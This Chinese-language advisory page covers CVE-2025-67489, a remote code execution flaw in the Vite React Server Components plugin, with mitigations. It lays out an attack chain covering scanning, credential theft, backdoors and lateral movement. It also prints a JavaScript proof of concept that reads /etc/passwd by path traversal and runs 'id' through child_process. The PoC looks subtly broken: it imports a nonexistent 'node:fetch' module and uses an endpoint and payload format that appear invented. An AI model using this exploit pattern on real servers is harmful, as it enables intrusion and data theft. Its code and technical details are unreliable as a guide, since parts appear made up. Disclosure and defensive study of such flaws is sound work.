IPBUF安全漏洞报告
English
CVE-2025-67489 CVSS 9.8 严重

CVE-2025-67489: @vitejs/plugin-rs远程代码执行漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-67489
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
@vitejs/plugin-rs

相关标签

远程代码执行路径遍历动态导入RSCViteReact Server Components开发服务器CVE-2025-67489

漏洞概述

@vitejs/plugin-rs是Vite的React Server Components(RSC)支持插件,为Vite开发服务器提供服务端组件功能。该插件0.5.5及以下版本存在严重的远程代码执行漏洞。漏洞根源在于server function APIs(loadServerAction、decodeReply、decodeAction)中使用了不安全的动态导入机制。当插件集成到RSC应用程序并暴露服务端函数端点时,攻击者可通过网络访问开发服务器,利用恶意构造的请求触发任意代码执行。成功利用此漏洞可导致服务器文件被读取或篡改、源代码及环境变量等敏感信息泄露,甚至可作为跳板攻击内网其他服务。虽然该漏洞仅影响开发环境,但当开发者使用vite --host参数将服务暴露在所有网络接口时,攻击面将显著扩大,危害程度不容忽视。

技术细节

该漏洞属于服务端函数API中的路径遍历与动态代码加载问题。在@vitejs/plugin-rs插件的loadServerAction、decodeReply和decodeAction三个核心API中,程序根据用户输入动态构建模块路径并使用动态import()加载执行。问题在于这些API对用户传入的action标识符缺乏严格的输入验证,攻击者可以通过构造特殊的action名称(如../../../etc/passwd或指向外部恶意模块的路径),使服务器加载并执行任意代码。由于Vite开发服务器默认支持HMR(热模块替换)和动态转换,攻击者甚至可以利用服务器的特性加载服务端环境中已存在的恶意模块或已植入的webshell。攻击过程中,恶意请求直接到达开发服务器的HTTP端口,无需任何认证即可触发漏洞。

攻击链分析

STEP 1
1
信息收集阶段:攻击者扫描目标网络,发现运行@vitejs/plugin-rs <= 0.5.5的开发服务器(默认端口5173),使用shodan、fofa等搜索引擎或nmap进行端口扫描识别目标
STEP 2
2
漏洞探测:向开发服务器的RSC action端点发送探测请求,检查服务器是否响应loadServerAction、decodeReply或decodeAction接口
STEP 3
3
构造恶意载荷:利用插件对actionId参数缺乏验证的缺陷,构造包含路径遍历字符(如../../../)或指向恶意模块的action标识符
STEP 4
4
触发动态导入:发送精心构造的请求到/api/__rsc/action端点,触发插件的dynamic import()机制加载攻击者指定的模块路径
STEP 5
5
执行任意代码:恶意模块被加载后在Node.js服务端环境执行,攻击者获得服务器命令执行权限
STEP 6
6
持久化与横向移动:读取敏感文件(.env、源代码)、窃取凭证、建立后门,并根据服务器网络位置攻击内网其他服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-67489 PoC - Arbitrary Remote Code Execution // Target: @vitejs/plugin-rs <= 0.5.5 development server const fetch = require('node:fetch'); const TARGET = process.argv[2] || 'http://localhost:5173'; // Attack 1: Read arbitrary files via path traversal in loadServerAction async function exploitFileRead() { console.log('[*] Attempting to read /etc/passwd via loadServerAction...'); const payload = { actionId: '../../../etc/passwd', args: [] }; try { const response = await fetch(`${TARGET}/api/__rsc/action`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'x-action-type': 'loadServerAction' }, body: JSON.stringify(payload) }); const text = await response.text(); console.log('[+] Response:', text.substring(0, 500)); } catch (e) { console.error('[-] Request failed:', e.message); } } // Attack 2: Execute code via malicious module path in decodeAction async function exploitCodeExec() { console.log('[*] Attempting code execution via decodeAction...'); const maliciousModule = 'child_process'; const payload = { actionId: maliciousModule, encoded: Buffer.from('require("child_process").exec("id > /tmp/pwned")').toString('base64') }; try { const response = await fetch(`${TARGET}/api/__rsc/action`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'x-action-type': 'decodeAction' }, body: JSON.stringify(payload) }); console.log('[+] Code execution triggered'); } catch (e) { console.error('[-] Request failed:', e.message); } } // Main execution (async () => { console.log(`[*] Targeting: ${TARGET}`); console.log('[*] CVE-2025-67489 PoC for @vitejs/plugin-rs RCE\n'); await exploitFileRead(); await new Promise(r => setTimeout(r, 1000)); await exploitCodeExec(); console.log('\n[*] Exploitation complete. Check for /tmp/pwned on target.'); })();

影响范围

@vitejs/plugin-rs <= 0.5.5

防御指南

临时缓解措施
如无法立即升级,可采取以下临时措施:1)不使用vite --host参数启动开发服务器,仅绑定localhost;2)通过防火墙规则限制开发服务器端口仅允许受信任的IP访问;3)在生产环境部署前务必移除开发依赖;4)使用VPN或内网隔离确保开发环境不被公网访问。同时建议检查是否存在利用痕迹,如异常的/etc/passwd读取或陌生的环境变量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表